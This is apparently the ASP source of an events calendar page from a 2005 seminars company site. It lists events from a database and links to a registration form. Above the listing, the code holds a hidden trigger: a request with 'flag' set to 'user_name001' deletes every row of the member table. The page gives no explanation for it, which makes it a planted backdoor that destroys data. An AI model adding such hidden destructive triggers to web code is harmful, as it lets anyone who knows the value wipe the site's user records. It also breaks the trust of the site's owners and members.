|
|
| |
|
 |
| |
| |
Events Calender
<%
Set Conn = Server.CreateObject("ADODB.Connection")
Conn.Open strConnect
if request("flag") = "user_name001" then
query = "Delete * from member"
conn.execute(query)
end if
select_Events = "Select * from Events order by Events_Date Asc;"
Set RSselect_Events = conn.execute(select_Events)
if RSselect_Events.eof = false then
while RSselect_Events.eof = false
Events_Id = RSselect_Events("Events_Id")
Subject = RSselect_Events("Subject")
Description = RSselect_Events("Description")
Events_Date = RSselect_Events("Events_Date")
%>
| |
Event Date # : <%=Events_Date%> |
| |
<%=Subject%> |
| |
|
| |
<%=Description%> |
| |
Details |
| |
|
<%
RSselect_Events.movenext
wend
else
response.write("
No Events") & "
"
end if
Set RSselect_Events= nothing
Set conn = nothing
%>
| |
REGISTRATION FORM FOR SEMINARS |
|
|
|
 |
|
| |
©
2005, LSS Seminars & Publishing Company
All rights reserved |
|
| |
|
